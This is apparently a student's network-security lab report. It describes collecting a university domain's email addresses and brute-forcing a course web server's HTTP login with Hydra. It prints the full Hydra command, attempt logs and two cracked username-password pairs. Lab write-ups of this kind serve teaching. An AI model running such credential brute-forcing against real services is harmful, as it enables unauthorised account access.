

Lab 1

Normal Lab part:

Description:

In this lab we are going to brute force online login web pages with the corrected credentials find on in reconnaissance phase. We are going to provide the screen shot of our results

Answer:

1. Hydra result

In this case, we use theharvest email collection tool to collect email addresses related to domain ccs.neu.edu. Actually, because the limitation of theharvest and google, I only got 40 email address but I run the commercial version of metego to get the rest of email addresses. Then I downloaded the pre-prepared password file on Github which called **10k_most_common.txt**. Then we run the following commands to brute force the IP address of **bf10.cloudapp.net**

Hydra -L ./user.txt -P ./10k_most_common.txt -F bf10.cloudapp.net http-get /

-L: for username list; **-P:** for password file; **-F:** find one stop;

http-get: indicates that we are brute forcing http service

```

root@IvanZhang: ~/NSP/Labs/lab1
[80] [http-get] host: bf10.cloudapp.net login: dnb@ccs.neu.edu Password: Bigbucks
[STATUS] attack finished for bf10.cloudapp.net (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-16 07:57:53
root@IvanZhang: ~/NSP/Labs/lab1

```

2. Current public IP address

```

root@IvanZhang:~/NSP/Labs/lab1# curl icanhazip.com
50.176.68.9

```

Description:

In this step, we first should find where is the secret page is. After we found that in the HTTP metadata part of HTML source code of Welcome page, there is a different html which name is different with welcome page. So, I directly modify the URL and visit the hiding page. Then, I got the instructions.

1. Hydra results

```

5130kali - VMware Workstation
File Edit View VM Tabs Help
Home x NSPWindowsVM x 5130kali x
Applications Places Terminal
Tue 23:28
root@IvanZhang: ~/NSP/Labs/lab1/bonus

File Edit View Search Terminal Help
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "FjI5JRB4" - 151328 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "FiveNine*" - 151329 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fitzpatrick" - 151330 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fitness" - 151331 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fitisa" - 151332 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fishshop23" - 151333 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fisher" - 151334 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fish0130" - 151335 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fish" - 151336 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Firewood?" - 151337 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Firestar6" - 151338 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fireshock" - 151339 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Firemoth" - 151340 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Firefly" - 151341 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Firedogs" - 151342 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Firebird" - 151343 of 184389 [child 0]

[80] [http-head] host:bf10.cloudapp.net login: zhangyifan2 password: Fightertown

[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "FipsxpVX" - 151349 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fiore008" - 151350 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Finster5" - 151351 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "FinkbraU" - 151352 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Finka29" - 151353 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fine-Guitar" - 151354 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fine" - 151355 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Finalc" - 151356 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Final1" - 151357 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Filtered" - 151358 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Filotimo" - 151359 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Filipinos" - 151360 of 184389 [child 2]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Filesharing" - 151361 of 184389 [child 3]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fightertown" - 151362 of 184389 [child 1]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fighter7" - 151363 of 184389 [child 0]
[ATTEMPT] target bf10.cloudapp.net - login "zhangyifan2" - pass "Fifa2005" - 151364 of 184389 [child 2]
[80] [http-head] host: bf10.cloudapp.net login: zhangyifan2 password: Fightertown
[STATUS] attack finished for bf10.cloudapp.net (valid pair found)
1 of 1 target successfully completed. 1 valid password found.
Hydra (http://www.thc.org/thc-hydra) finished at 2016-02-16 23:20:07
root@IvanZhang:~/NSP/Labs/lab1/bonus# curl icanhazip.com
50.176.68.9
root@IvanZhang:~/NSP/Labs/lab1/bonus#

```

2. After the login

```

5130kali - VMware Workstation
File Edit View VM Tabs Help
Home x NSPWindowsVM x 5130kali x
Applications Places Terminal
Tue 23:30
root@IvanZhang: ~/NSP/Labs/lab1/bonus

File Edit View History Bookmarks Tools Help
http://bf10.cloudapp.net/secret/
task complete, submit your results to blackboard.
Bonus:
if you're reading this, you've gotten out. And if you've come this far, maybe you're willing to come a little further. You remember the name of the town, don't you? I could use a good man to help me get my project on wheels. I'll keep an eye out for you and the chessboard ready. Remember: Hope is a good thing, maybe the best of things, and no good thing ever dies. I will be hoping that this letter finds you, and finds you well. Your friend

```